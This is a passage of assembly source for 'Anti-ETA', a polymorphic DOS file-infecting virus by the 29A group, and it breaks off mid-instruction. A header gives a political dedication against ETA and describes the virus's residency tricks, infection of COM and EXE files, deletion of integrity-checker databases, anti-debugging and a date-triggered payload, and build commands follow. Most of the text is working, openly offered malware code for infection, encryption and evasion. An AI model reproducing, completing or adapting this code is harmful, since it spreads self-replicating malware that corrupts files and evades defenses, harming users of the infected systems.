; ; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ; Anti-ETA ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ; by GriYo/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ ; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ ; ; Introduction ; ÄÄÄÄÄÄÄÄÄÄÄÄ ; This virus is an iniciative of Mister Sandman (writing this right now) and ; GriYo, supported by the rest of the 29Aers and finally written by GriYo. ; ; Espa¤a (Spain in english) is a country that emerged and took its final and ; actual form during the first years of the XVIth century. It was born from ; the conjunction of many other kingdoms/independent countries (ie Arag¢n, ; Catalunya, Galicia, Euskadi, and the most important, Castilla) which lived ; (and fought) together in the actual spanish territory. This final union ; was possible by means of marriages between princes and princesses of these ; kingdoms, pacts, and, of course, wars -which became conquests-. ; ; Today, about four centuries later, a very little minority living in Euska- ; di (right now, one of the seventeen provinces in Spain) claim for their ; independence by means of violence. They don't hesitate on placing bombs in ; big stores, streets, cars, etc. thus causing the death of innocent people, ; or on killing policemen, politicians or anybody who just don't thinks the ; way they do. ; ; Luckily, many of these motherfuckers are arrested and put in prison far ; away from their home. Anyway, this has also become a problem, as they want ; to stay only in euskadian prisons, in order to be able to keep in contact ; with their family. This fact drove them to, apart from do more killings, ; kidnap an innocent young jailer, called Jos‚ Antonio Ortega Lara. ; ; They didn't ask for money. He was put underground in a very tiny and empty ; room, without any light, without any way to know when it dawns or when it ; gets dark, with very few oxygen to breath, with only some food every four ; days, served in the same receptacle where he had to shit and urinate. This ; is... without anything to do... except of waiting to be freed, and hoping ; that all the psychic tortures he was going submitted to were going to have ; an end some day. ; ; Happily, the spanish police found and freed him 532 days later. He had a ; long barb and 27kg less of his normal weight. But he eventually was able ; to see the light and walk (even talk) again. Today, Jos‚ Ortega Lara is ; still under psychical attention, carrying a normal life again. ; ; However, the reason to be of this virus takes place a few days later, when ; the euskadian violent-independentist group kidnapped Miguel Angel Blanco, ; a politician from a small town called Ermua, and threatened to kill him ; unless the spanish goverment would allow the approaching of the arrested ; terrorists to Euskadi in a 48-hour deadline. Since this was made public, ; millions of people went out to the street in order to show their inconfor- ; mity with this cruel way of acting. ; ; Sadly, none of the mass meetings which collapsed the whole Spain for 48 ; hours were enough, and Miguel Angel Blanco, the 28 year-old politician, ; was eventually killed by one of these terrorists by means of two bullets ; shot in his head. ; ; The name of this euskadian terrorist group is ETA, hence the name of this ; virus, Anti-ETA, offered as a homage to all the families which were vic- ; tims of the violent way of acting of these independentists, and especially ; to Jos‚ Antonio Ortega Lara and Miguel Angel Blanco Garrido (RIP). ; ; 29A against terrorism, ; the 29A staff. ; ; ; Virus behavior ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Code executed when an infected file is run: ; ; - Polymorphic decryptor ; - CPU type check routine ; - Installation check ; - COMMAND.COM segment prefix search ; - Host allocated conventional memory reduction ; - Conventional memory order for installation ; - COMMAND.COM segment prefix activation as current PSP (this ; context change allows Anti-ETA to perform memory allocation ; calls without warning a good bunch of TSR watchdogs ; - Interrupt 22h hooking into host PSP (without modifying IVT) ; - Control return to host ; ; Tasks performed by the int 22h handler: ; ; - Code decryption ; - Interrupt 3 (breakpoint) vector saving ; - Interrupt 3 hooking with the virus handler ; - Interrupt 28h (DOS idle interrupt that points to an iret ; instruction by default) vector order ; - First byte of current int 28h handler storing, instead of ; an int 3 instruction ; - Jump to the original int 22h ; ; Every time in which COMMAND.COM calls its idle interrupt, a ; breakpoint instruction gives the control to the interrupt 3 ; handler, owned by Anti-ETA. This handler will count the ; number of calls until it determines that it's safe to hook ; interrupt 21h. I stole the idea on using int 28h in such a ; way from Rhincewind (see Catch22 TSR loader), but this ; approach is much more enhanced ;) ; ; Code executed from the idle interrupt: ; ; - Another decryption loop performance ; - First int 28h byte restoring ; - Interrupt 3 vector restoring ; - Virus body move to another memory block (including UMBs) ; - Old memory block release ; - Interrupt 21h hooking ; ; Encryption ; ÄÄÄÄÄÄÄÄÄÄ ; The main polymorphic decryptor receives the control when an infected file ; file is executed. On program termination, the virus int 22h handler recei- ; ves the control and decrypts the whole Anti-ETA body using the decryptor ; code as key. Another decryptor appears when execution reaches virus' int 3 ; handler from the previously redirected idle interrupt. ; ; Infection and activation routines are also encrypted in memory (using a ; random cipher key each time) and their code will be decrypted on the fly ; when necessary. ; ; ; Polymorphism ; ÄÄÄÄÄÄÄÄÄÄÄÄ ; Anti-ETA is polymorphic in EXE and COM files, as well as in the COM files ; it sometimes may drop after having been called function 3bh of int 21h. ; ; ; File infection ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; When any file is executed, Anti-ETA just stores the file name and infects ; it upon termination, and same for open/close functions. ; ; Every time the virus modifies any file, ANTI-VIR.DAT and CHKLIST.MS will ; be deleted (if they exist) in order to avoid getting caught by any kind of ; integrity checker. ; ; While infecting files, Anti-ETA uses standard DOS calls, checking for ; errors after each of them and without using any system file table (looking ; for some network compatibility). ; ; The virus tries to find the original int 21h entry point (using the 52h ; function backdoor), and uses it in all the file infection routines, thus ; bypassing many TSR watchdogs. ; ; Finally, the int 3 vector is redirected to the original int 21h EP, and ; Anti-ETA uses an int 3 instruction (only 1 byte) when calling any DOS ; function for infection. ; ; ; Retro functions ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Checksum files ANTI-VIR.DAT and CHKLIST.MS are deleted from every directo- ; ry where a file is going to be infected. Apart from this, the virus con- ; tains some antidebugging code. ; ; ; Activation routines ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; On every call to the int 21h function 3bh (set current directory), the vi- ; rus will sometimes drop an infected COM file, with a random name and a ; random date/time stamp). Its size will be also random due to the polymor- ; phic encryption... and... btw, Anti-ETA will not infect its sons, just be- ; cause they're too small ;) ; ; The main payload effect triggers every july 10th (the date in which Miguel ; Angel Blanco was kidnapped), displaying a graphic that consists on a whi- ; te hand in which reads "Anti-ETA". The white hand is the symbol which we ; use in Spain to tell ETA "STOP THE KILLING!". ; ; ; Greetings ; ÄÄÄÄÄÄÄÄÄ ; This time, very special greetings go from the 29A staff to all the victims ; of ETA, hoping this will have an end some day in the future. ; ; ; Compiling it ; ÄÄÄÄÄÄÄÄÄÄÄÄ ; tasm /m anti-eta.asm ; tlink anti-eta.obj anti_eta segment .386 assume cs:anti_eta,ds:anti_eta,es:anti_eta,ss:anti_eta org 0000h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Some useful equates ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ mem_byte_size equ offset virus_mem_end - offset entry_point mem_para_size equ (mem_byte_size+000Fh)/0010h inf_byte_size equ offset virus_inf_end - offset entry_point inf_para_size equ (inf_byte_size+000Fh)/0010h byte_area01h equ offset end_area01h - offset crypt_area01h byte_area02h equ offset end_area02h - offset crypt_area02h byte_area03h equ offset end_area03h - offset crypt_area03h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus entry point for all targets (COM and EXE files) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ entry_point: push ds ; Save segment regs push es db 0BDh ; Get delta delta: dw 0000h ; (mov bp,nnnn) push cs ; Point DS to pop ds ; our code cli ; Check for 386+ pushf ; CPU pop ax or ax,2000h push ax popf pushf pop ax sti test ax,2000h ; Exit if 286 jz exit_install ; or below mov esi,"ANTI" mov ah,30h ; Get DOS version int 21h ; and perform cmp esi,"ETA!" ; installation je exit_install ; check cmp al,05h ; MS-DOS 5.0+ jb exit_install ; check ; I found a problem using this method of residency ; when the virus tries to go resident while a copy ; of itself is waiting for enough DOS idle time. ; ; Fix: ; ; The virus can check if another copy of itself is ; using the DOS idle interrupt. Just check for a ; breakpoint in the first byte of int 28h. mov ax,3528h ; Get int 28h int 21h ; vector cmp byte ptr es:[bx],0CCh ; int 3? je exit_install ; Yes, abort mov ah,62h ; Get and save int 21h ; active PSP mov es,bx ; ES:SI -> host PSP xor si,si mov dx,bx ; Always DW=host PSP ; A new problem appears when an infected program ; executes another file which is also infected. ; ; Fix: ; ; Get parent PSP and check the name of the MCB ; behind. Go resident only if the command inter- ; preter is the parent of the infected host. mov ax,word ptr es:[si+16h] ; Get parent PSP mov di,ax dec ax ; Get parent MCB mov es,ax cmp dword ptr es:[si+08h],"MMOC" ; Check name in MCB jne exit_install mov es,dx ; Get host PSP mov ah,4Ah ; Get free memory push ax mov bx,0FFFFh int 21h pop ax sub bx,mem_para_size+01h ; Sub some memory int 21h ; for our code jc exit_install mov bx,di mov ah,50h ; Activate command int 21h ; PSP jc exit_install mov ah,48h ; Ask for memory mov bx,mem_para_size int 21h mov es,ax ; Copy virus to call move_virus ; allocated memory push ds mov ds,dx xor si,si ; DS:SI -> host PSP mov eax,dword ptr ds:[si+0Ah] ; Get int 22h vector, mov dword ptr es:[old22h],eax ; save it and point mov word ptr ds:[si+0Ah],offset my22h ; to our handle mov word ptr ds:[si+0Ch],es pop ds mov bx,dx mov ah,50h ; Now set host PSP int 21h ; as current PSP exit_install: mov eax,dword ptr ds:[bp+host_type] cmp eax,".COM" ; Is it a COM host? je exit_com cmp eax,".EXE" ; An EXE host? je exit_exe ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Exit for 1st virus generation ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ exit_launcher: pop es ; Exit virus launcher pop ds ; Restore segment mov ax,4C00h ; regs and call to int 21h ; terminate prog ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Exit from a COM file ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ exit_com: mov eax,dword ptr ds:[bp+old_header] ; Restore first mov dword ptr ds:[0100h],eax ; four bytes pop es ; Restore segments pop ds push cs ; Save return address push 0100h xor ax,ax ; Clear some regs mov bx,ax mov cx,ax mov dx,ax mov si,ax mov di,ax mov bp,ax retf ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Exit from an EXE file ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ exit_exe: mov ah,62h ; Get active PSP int 21h add bx,0010h ; Calculate host CS add word ptr ds:[bp+exe_ip_cs+02h],bx add bx,word ptr ds:[bp+old_header+0Eh] ; Calculate host SS pop es ; Restore segments pop ds cli ; Fix program stack mov ss,bx mov sp,word ptr cs:[bp+old_header+10h] sti xor ax,ax ; Clear some regs mov bx,ax mov cx,ax mov dx,ax mov si,ax mov di,ax mov bp,ax db 0EBh,00h ; Clear prefetch db 0EAh ; Get control back exe_ip_cs dd 00000000h ; to host ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Move virus code to another memory location ³ ;³ On entry: ³ ;³ DS:BP -> current location ³ ;³ ES -> new segment location ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ move_virus: sub di,di mov si,bp mov cx,inf_byte_size cld rep movsb ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Insert/remove breakpoint into/from int 28h handler code (DOS idle) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ xchg28h: push di push es cli les di,dword ptr cs:[old28h] ; Xchg int 28h mov al,byte ptr es:[di] ; first byte xchg al,byte ptr cs:[breakpoint] ; with out buffer stosb sti pop es pop di ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Some code and data out of all the sub-decryptors ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ old03h dd 00000000h ; Int 3 vector crypt_leave21h: db 0EBh,00h ; Clear prefetch db 0EAh ; Get control back old21h dd 00000000h ; to original int 21h orig21h dd 00000000h ; DOS entry point crypt_leave22h: db 0EBh,00h ; Clear prefetch db 0EAh ; Get control back old22h dd 00000000h ; to original int 22h old24h dd 00000000h ; Critical error old28h dd 00000000h ; to original int 28h breakpoint db 00h ; Int 28h 1st byte host_type dd "CEPA" ; File type crypt_delta dw 0000h ; Delta for decryptor ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Crypt/decrypt area 01h ³ ;³ On entry: ³ ;³ DS -> area 01h segment to crypt/decrypt ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ crypto01h: push bx push es push ds pop es mov si,word ptr cs:[crypt_delta] add si,offset crypt_area01h mov di,si mov bx,offset crypto01h mov cx,(byte_area01h+01h)/02h cld crypt_loop01h: lodsw push ax pop dx cli mov ax,0002h ; Simple stack sub sp,ax ; verification sti pop ax cmp ax,dx jne crypt_loop01h ; Fool tracing xor ax,word ptr cs:[bx] ; Use our code as key stosw ; to avoid inc bx ; modifications cmp bx,offset exit_crypt01h jne continue01h mov bx,offset crypto01h continue01h: loop crypt_loop01h pop es pop bx exit_crypt01h: ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus int 22h handler ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ my22h: push cs ; Point DS to pop ds ; virus code mov word ptr ds:[crypt_delta],0000h ; Clear delta crypt mov eax,dword ptr ds:[host_type] ; Launcher doesn't cmp eax,"CEPA" ; need decryption je skip_area01h call crypto01h ; Do decryption crypt_area01h equ this byte skip_area01h: db 0EBh,00h ; Clear prefetch mov al,03h ; Save old int 3 call get_int ; vector mov word ptr ds:[old03h],bx mov word ptr ds:[old03h+02h],es ; Hook int 3 to mov dx,offset my03h ; our int 21h call set_int ; Hooking routine mov al,28h ; Save int 28h call get_int ; vector and mov word ptr ds:[old28h],bx ; insert an int 3 mov word ptr ds:[old28h+02h],es ; instruction over mov byte ptr ds:[breakpoint],0CCh ; the handler code call xchg28h exit22h: jmp crypt_leave22h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Crypt/decrypt area 02h ³ ;³ On entry: ³ ;³ DS -> segment of area 02h to crypt/decrypt ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ crypto02h: push es push ds pop es mov si,word ptr cs:[crypt_delta] add si,offset crypt_area02h mov di,si mov cx,(byte_area02h+02h)/02h cld crypt_loop02h: lodsw xchg ah,al stosw loop crypt_loop02h pop es ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus int 3 handler (called on every int 28h call) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ my03h: call push_all ; Save all regs push cs ; Point DS to pop ds ; virus code mov eax,dword ptr ds:[host_type] ; Launcher doesn't cmp eax,"CEPA" ; need decryption je skip_area02h call crypto02h ; Do decryption db 0EBh,00h ; Clear prefetch skip_area02h: call xchg28h ; Remove breakpoint mov si,mem_para_size ; Allocate memory call mem_alloc or di,di ; Exit if error jz cant_move_it ; on mem allocation push di mov es,di ; Copy virus to sub bp,bp ; memory call move_virus ; Continue execution push offset continue_here ; at newly allocated retf ; memory block continue_here: mov ah,49h ; Free old virus push ds ; memory pop es int 21h cant_move_it: mov al,03h ; Restore int 3 lds dx,dword ptr cs:[old03h] call set_int push cs pop ds mov ax,3521h ; Get and save int 21h ; current int 21h mov word ptr ds:[old21h],bx mov word ptr ds:[old21h+02h],es mov word ptr ds:[orig21h],bx mov word ptr ds:[orig21h+02h],es mov ah,52h ; Use this backdoor int 21h ; to get int 21h mov bx,109Eh ; kernel entry point cmp word ptr es:[bx],9090h jne no_backdoor cmp byte ptr es:[bx+02h],0E8h jne no_backdoor cmp word ptr es:[bx+05h],0FF2Eh jne no_backdoor mov word ptr ds:[orig21h],bx mov word ptr ds:[orig21h+02h],es ; Function 52h (get ptr to dos info block) returns ; in ES the segment of the DOS entry point. Offset ; seems to be always 109eh in lots of machines. ; ; Anti-ETA will check if the code looks like: ; ; nop -> 90h ; nop -> 90h ; call xxxx -> E8h xx xx ; jmp dword ptr cs:[yyyy] -> 2Eh FFh 2Eh yy yy no_backdoor: mov eax,dword ptr ds:[host_type] ; Launcher needs cmp eax,"CEPA" ; encryption jne skip_area03h call crypto03h skip_area03h: mov ax,2521h ; Point int 21h mov dx,offset my21h ; to our handler int 21h exit03h: call pop_all ; Restore saved regs pushf call dword ptr cs:[old28h] cli ; Fix stack add sp,0006h ; and return to sti ; int 28h caller iret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Do encryption over area 03h (int 21h code) ³ ;³ On entry: ³ ;³ DS -> segment of area 03h to crypt/decrypt ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ crypt_area02h equ this byte crypto03h: db 0EBh,00h ; Clear prefetch push si ; Save some push di ; regs and push es ; perform short_way: push ds ; encryption pop es ; using add mov si,word ptr cs:[crypt_delta] ; instruction add si,offset crypt_area03h mov di,si mov cx,(byte_area03h+01h)/02h cld db 0EBh,00h ; Clear prefetch crypt_loop03h: lodsw db 05h ; add ax,xxxx crypt21h_key dw 029Ah stosw loop crypt_loop03h pop es pop di pop si ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Decrypt virus int 21h code if needed ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ rm_crypt21h: mov ax,cs ; Remove int 21h mov ds,ax ; encryption mov es,ax ; using sub mov si,offset crypt_area03h ; instruction mov di,si mov cx,(byte_area03h+01h)/02h cld db 0EBh,00h ; Clear prefetch clear21h: lodsw db 2Dh ; sub ax,xxxx decrypt21h_key dw 029Ah stosw loop clear21h call rand_16 mov word ptr ds:[crypt21h_key],ax ; Get random key mov word ptr ds:[decrypt21h_key],ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus int 21h handler ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ my21h: cmp ah,30h ; Install check? je install_check cmp ah,3Bh ; Change directory jne try_get_name call push_all ; Save all regs call rm_crypt21h ; Remove encryption jmp try_activation try_get_name: cmp ax,4B00h ; Execution? je work_filename cmp ah,3Dh ; Open? je work_filename cmp ah,6Ch ; Extended open? jne try_infection work_filename: call push_all ; Save all regs call rm_crypt21h ; Remove encryption call pop_all ; Restore regs call push_all ; and save them again jmp store_filename ; Copy filename try_infection: cmp ax,4C00h ; Terminate? je work_infection cmp ah,3Eh jne forget_this work_infection: call push_all ; Save all regs call rm_crypt21h ; Remove encryption call pop_all ; Restore regs call push_all ; and save them again jmp infect_program forget_this: jmp crypt_leave21h exit21h: push cs ; Redo encryption pop ds ; before leaving call crypto03h call pop_all ; Restore regs jmp crypt_leave21h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Perform a call to the original int 21h vector ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ call21h: pushf ; Perform a call to call dword ptr cs:[orig21h] ; the interrupt 21h retf 02h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Installation check ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ install_check: cmp esi,"ANTI" ; Is it our check? je reponde_cabron jmp crypt_leave21h reponde_cabron: pushf ; Interrupt 21h call dword ptr cs:[old21h] mov esi,"ETA!" ; I am here!!! iret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Store name of the file to execute ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ crypt_area03h equ this byte store_filename: db 0EBh,00h ; Clear prefetch cmp ah,6Ch ; Extended open? je is_extended mov si,dx is_extended: push cs pop es cmp ah,4Bh ; Execute? jne use_openbuff mov di,offset exec_filename ; File to execute jmp ok_buff_off use_openbuff: mov di,offset open_filename ; File to open ok_buff_off: push di mov ah,60h ; Get complete int 21h ; filename push cs pop ds call hook_24h_03h pop si mov dx,offset del_this_shit01 ; Delete Thunderbyte call delete_file ; ANTI-VIR.DAT files mov dx,offset del_this_shit02 ; And CHKLIST.MS shit call delete_file call free_24h_03h jmp exit21h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ File infection ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ infect_program: db 0EBh,00h ; Clear prefetch push cs pop ds call hook_24h_03h cmp ah,4Ch ; Terminate? jne infect_close mov si,offset exec_filename ; Filename off to SI jmp ok_infect_off infect_close: mov si,offset open_filename ; Filename off to SI ok_infect_off: mov ah,19h ; Get current drive int 03h add al,"A" cmp byte ptr ds:[si],al ; 